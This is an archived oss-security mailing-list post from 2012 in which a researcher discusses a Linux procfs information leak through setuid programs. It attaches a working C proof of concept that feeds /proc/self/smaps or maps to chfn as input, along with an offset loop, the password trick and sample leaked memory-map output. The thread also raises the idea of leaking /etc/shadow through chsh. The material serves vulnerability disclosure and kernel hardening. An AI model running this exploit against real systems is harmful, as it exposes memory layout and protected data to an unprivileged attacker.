Follow us on Twitter or via RSS feeds with tweets or complete announcement texts or excerpts
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Thu, 9 Feb 2012 00:03:20 +0100
From: Djalal Harouni <tixxdz@...ndz.org>
To: oss-security@...ts.openwall.com
Cc: "Jason A. Donenfeld" <Jason@...c4.com>
Subject: Re: Linux procfs infoleaks via self-read by a
 SUID/SGID program (was: CVE-2011-3637 Linux kernel: proc: fix Oops on
 invalid /proc/<pid>/maps access)

Hi Solar, Jason,

Nice one Jason, and I've also found this according to this tweet:
http://twitter.com/#!/tixxdz/status/165818331092365312

And the attached PoC that will leak a one line of the 'smaps' file.
(the same thing of 'maps', and you may read all the lines).

I Did not post it since it seems that there is a fundamental problem
about these protected procfs files.

I've some kernel patches which are not ready yet, I was planning to send
them to lkml and to the kernel-hardening lists to get feedback from the
kernel developers.

On Wed, Feb 08, 2012 at 02:12:58PM +0400, Solar Designer wrote:
> On Wed, Feb 08, 2012 at 06:59:48AM +0100, Jason A. Donenfeld wrote:
> > Might be slightly offtopic,
> 
> On topic for this list (thank you for posting!), but not for the
> original thread (I've changed the Subject, but kept the thread since
> this is already in the thread).
> 
> > but this is a possible info leak of maps for a suid program:
> > 
> > $ cat maps.c
> > #include <unistd.h>
> > #include <fcntl.h>
> > 
> > int main(int argc, char **argv)
> > {
> > 
> >         int fd = open("/proc/self/maps", O_RDONLY);
> >         dup2(fd, 0);
> >         execl("/usr/bin/chsh", "chsh", NULL);
> >         return 0;
> > }
> 
> Nice.  I guess the same works for /proc/self/mem as well, including with
> lseek().  Using this for more than just an ASLR bypass may be tricky -
I thing that same thing will not work for /proc/self/mem since it was
patched, after the execl() the fd will still referece the old
/proc/self/maps of the maps.c program, not the 'chsh' one.

BTW lseek() on seq files will only succeed on /proc/self/ files.

> need to find a suitable program to abuse.  In fact, even the usefulness
> of such an ASLR bypass is very limited since the invocation mode above
> might not be the same as needed for another attack, and the address
> space layout will change between the two execs.  (Not to mention that
> ASLR is generally practical to bypass for local attacks anyway by simply
> trying enough times, unless there's lockout.)
> 
> I guess it might be possible to get some implementation of chsh to print
> an excerpt from /etc/shadow.  Luckily, on Owl we don't have chsh enabled
> for non-root by default and we don't have a global /etc/shadow. ;-)
chsh which is a setuid on most of the distros will read stdin and print
errors to stderr, this is why it can be used as a target program, I did
not search but if there is another program then it may be our 'winner'.

> BTW, what version of chsh did you test this with and what behavior do
> you observe?  I was not able to get anything useful in this way out of
> Owl's chsh (once enabled for non-root) - it just asks for the password,
> but somehow fails to read it if one is entered on the tty (perhaps
> there's some inconsistency in use of the tty vs. fd 0).  I suppose I'd
> need to get past successful authentication for chsh's input to be
> treated as the new shell name, in which case it'd get printed out (such
> as in an error message) or/and put in /etc/passwd.
Using the attached quick written PoC, you can run this on a setuid 'chfn'
program:

Just set your user password to (without quotes):
"Locked:                0 kB"


$ for i in $(seq 460 480); \
  do ./procfs_leak_2 /usr/bin/chfn /proc/self/smaps $i; done
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed
Password: Changing the user information for tixxdz
Enter the new value, or press ENTER for the default
        Full Name: tixxdz
                Room Number [er]:       Work Phone []:  Home Phone []:
                chfn: invalid room number: '00608000-0060a000 rw-p
                00008000 08:01 218841
                /usr/bin/chfn'
Password: chfn: PAM authentication failed
Password: chfn: PAM authentication failed


This was tested on Ubuntu, Debian default setuid 'chfn'.

You can do this to leak maps of libc... since the lseek() on /proc/self
will pass the ptrace_may_access() check.


Solar as I've said above I believe that there is a compilcated problem
about these files, should I discuss them here or just finish my patches
and try to discuss them on lkml ?

Thanks.

> Alexander

-- 
tixxdz
http://opendz.org

/*
* Procfs (2) leak
* Author: Djalal - tixxdz
*
* Leak setuid proc files: smaps (maps ... ?)
*
* This will leak info of 'chfn' setuid program
* We can expand it to leak proc files of any process.
*
* To test is set your user password to:
* "Locked:                0 kB"
*
* Run with:
* $ for i in $(seq 460 480); \
*   do ./procfs_leak_2 /usr/bin/chfn /proc/self/smaps $i; done
*
* For testing only.
*
* 02/02/2012
*/

#define _LARGEFILE64_SOURCE
#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

int leak(char *prog, char *file, off64_t offset)
{
        int ret = -1;
        char *argv[]={prog, NULL};
        char target[512];
        pid_t pid = getpid();

        memset(target, 0, sizeof(target));
        snprintf(target, sizeof(target), "/proc/%d/%s", pid, file);
        int fd_leak = open(file, O_RDONLY);
        if (fd_leak == -1) {
                perror("open");
                return ret;
        }
        dup2(fd_leak, STDIN_FILENO);
      
        if (lseek64(STDIN_FILENO, offset, SEEK_SET) == (off64_t) -1) {
        	perror("lseek64");
        	return ret;
        }
        sleep(1);
        execv(argv[0], argv);
        perror("execv");

        return ret;
}

int main(int argc, char **argv)
{
        char *program = NULL;
        char *proc_file = NULL;
        off64_t offset = 0;

        if (argc < 4) {
                printf("%s  <program>  <proc_file>  <offset>\n"
                       "    <program>: path of a setuid program.\n"
                       "    <proc_file>: file to read.\n"
                       "    <offset>: Offset.\n",argv[0]);
                return -1;
        }
        
        program = argv[1];
        proc_file = argv[2];
        offset = (off64_t) atol(argv[3]);

        return leak(program, proc_file, offset);
}

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ